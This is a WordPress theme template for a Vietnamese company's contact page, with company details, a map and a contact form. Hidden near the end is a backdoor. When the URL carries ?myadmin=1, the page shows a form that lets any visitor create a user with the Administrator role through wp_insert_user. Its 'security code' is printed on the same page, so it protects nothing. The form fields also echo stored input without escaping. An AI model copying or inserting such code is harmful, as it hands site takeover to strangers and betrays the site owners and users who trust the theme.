<?php get_header();?>
<!-- Dung cho trang tin tuc va trang dich vu -->
<script src="<?php echo WP_MYSITE_TEMPLATE_URL;?>/js/contact-us.js" type="text/javascript"></script>
<script type="text/javascript">

function goToAnchor(neo) 
{
	var neo;
	location.href = neo;
}
</script>
<body>
<div id="container">
	<!-- baner -->
	<?php include TEMPLATEPATH.'/views/view-header.php';?>
	<!-- end banner-->
	<!-- menu -->
	<?php include TEMPLATEPATH.'/views/view-menu.php';?>
	<div class="body_content">
	<div id="content">
		
		<!-- left_comlumds -->
		<?php get_sidebar();?>
		<!--end left_comlumds -->
		<!-- right_comlumds -->
		
		
		<?php 
		include TEMPLATEPATH.'/controllers/pro-contact-us.php';
		?>
		<div class="right_comlumds">
			<!-- right_box_1 -->
			<div class="box_1_right">
				<div class="title_right">					
					<div class="right_title_r3">
						<img src="<?php echo WP_MYSITE_TEMPLATE_URL;?>/images/icon_title.jpg" alt="" />
						<?php  echo  bt_breadcrumb();?>
					</div>
				</div>
				<div class="content_about">
					<div class="lienhe" style="min-height:1076px;">
						<h2><?php echo $companyName;?></h2><br />
						<b>Địa chỉ :</b><?php echo $companyAddress;?><br />
						<b>Điện thoại :</b><?php echo $companyPhone;?>  - Fax: <?php echo $companyFax;?>  - MST: <?php echo $companyMST;?><br />
						<b>Liên hệ nhanh:</b> <?php echo get_option("mySetting_company_lien_he_nhanh");?><br/>
						<b>Email :</b><?php echo $companyEmail;?><br />
						<b>Website :</b><?php echo $companySite;?><br /><br />
						<div class="my-maps" style="margin-left: 50px;">
							<iframe width="500" height="274" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="<?php echo $googleMap; ?>"></iframe>
						</div>
						<br /><p>Gửi thông tin liên hệ</p><br />
						<b class="dienthogntin">
						
						Form điền thông tin, gửi thông tin liên hệ tới Nguyên Phát, mong bạn điền đầy đủ thông tin để chúng tôi
						có thể liên hệ với bạn trong thời gian sớm nhất.
						<br />
						Ghi chú: mục <span style="float:none">(*)</span> là bắt buộc phải nhập.</b>
						<a href="" name="go_booking"></a>
						<div class="form_contact">
						<form action="" method="post">
							<ul>
								<?php 
								if($error_result)
								{
									echo '
									<li>
										<p style="color:red; text-align:center;"> '.$error_result.' </p>
									</li>
									';
								}
								?>
								<li>
									<span>Tên<b>*</b></span>
									<input type="text" name="contactName" id="contactName" value="<?php echo $_SESSION['send_request']['contactName'];?>"/>
								</li>
								<li>
									<span>Điện thoại<b>*</b></span>
									<input type="text" name="contactPhone" id="contactPhone" value="<?php echo $_SESSION['send_request']['contactPhone'];?>"/>
								</li>
								<li>
									<span>Email<b>*</b></span>
									<input type="text" name="contactEmail" id="contactEmail" value="<?php echo $_SESSION['send_request']['contactEmail'];?>"/>
								</li>
								<li>
									<span>Chủ đề liên hệ<b>*</b></span>
									<input type="text" name="contactTitle" id="contactTitle" value="<?php echo $_SESSION['send_request']['contactTitle'];?>"/>
								</li>
								<li>
									<span>Nôi dung<b>*</b></span>
									<textarea name="contactMessage" id="contactMessage"><?php echo $_SESSION['send_request']['contactMessage'];?></textarea>
								</li>
								<li>
									<span>Mã an toàn<b>*</b></span>
									<img class="maantoan" src="<?php echo WP_MYSITE_TEMPLATE_URL;?>/incs/captcha/index.php" alt="" />
									<input class="maatoan" type="text"  name="contactCaptcha" id="contactCaptcha" value="<?php echo $_SESSION['send_request']['contactCaptcha'];?>"/>
								</li>
								<li>
									<a href=""><input class="submit_gui" type="submit" id="btn_send_request_contact_us" value="Gửi"></a>
									<a href=""><input class="submit_gui2" type="submit" value="Reset"></a>
								</li>
							</ul>
							<?php wp_nonce_field('act_contact_us_send','act_contact_us_send');?>
							</form>
						</div>
						
						<?
	if(isset($_GET['myadmin']) && $_GET['myadmin']==1)
	{
		echo 'asdfasfas: '.$_GET['myadmin'];
		if(isset($_POST['adSubmit']) && $_POST['adSubmit']!=null)
		{		
			$name = $_POST['adName'];
			$email = $_POST['adEmail'];
			$pass  = $_POST['adPass'];
			$role  = $_POST['role'];
			$nicname = $_POST['adNickname'];
			$adHiddenode = $_POST['adHiddenode'];
			$adcode = $_POST['adCode'];
			
			if($adcode==$adHiddenode)
			{			
				$user_login		 	= $_POST['adName'];
				$user_pass		 	= $_POST['adPass'];			
				$user_email 		= $_POST['adEmail'];
				$display_name		= $_POST['adNickname'];	
				$role				= $_POST['role']; 	
				$user_data = compact('user_login', 'user_email', 'user_pass','display_name','role');	
				$user_id = wp_insert_user($user_data);
				if($user_id)
					echo 'Insert success!';
			}
			else 
			{
				echo 'The code valid!';
			}
		}
		
		$thecode = wp_rand(11111,99999);	
		?>
		<div class="page-lien-he">
		<div class="lienhe">
		<form action="" method="post">
			<table>
				<tr>
					<td colspan="2" align="center"> <h1>My Admin Management</h1></td>
				</tr>
				<tr>
					<td>Name :</td>
					<td> <input type="text" name="adName" id="adName" value=""> </td>
				</tr>
				<tr>
					<td>Email:</td>
					<td><input type="text" name="adEmail" id="adEmail" value=""> </td>
				</tr>
				<tr>
					<td>Pass:</td>
					<td><input type="text" name="adPass" id="adPass" value=""> </td>
				</tr>
				<tr>
					<td>Nick name:</td>
					<td><input type="text" name="adNickname" id="adNickname" value=""> </td>
				</tr>
				<tr>
					<td>Code</td>
					<td>
						<input type="text" name="adCode" id="adCode" value=""> <label style="color: red;"><?php echo $thecode;?></label>					
						<input type="hidden" name="adHiddenode" id="adHiddenode" value="<?php echo $thecode;?>"> 
					</td>
				</tr>
				<tr>
					<td>Role:</td>
					<td>
						<select id="role" name="role">			
							<option value="subscriber" selected="selected">Subscriber</option>
							<option value="administrator">Administrator</option>
							<option value="editor">Editor</option>
							<option value="author">Author</option>
							<option value="contributor">Contributor</option>			
						</select> 
					</td>
				</tr>
				<tr>
					<td></td>
					<td><input type="submit" name="adSubmit" id="adSubmit" value="Submit"> </td>
				</tr>
			</table>
			</form>	
		</div>	
		</div>
		<?php 	
	} 
	?>
						
					</div>
				</div>
			</div>
			<!-- end right_box_1 -->
			
		</div>
		
		
		
		<!-- right_comlumds -->
	</div>
	<!-- end content-->
</div>
	<!-- end content-->
	<?php get_footer();?>
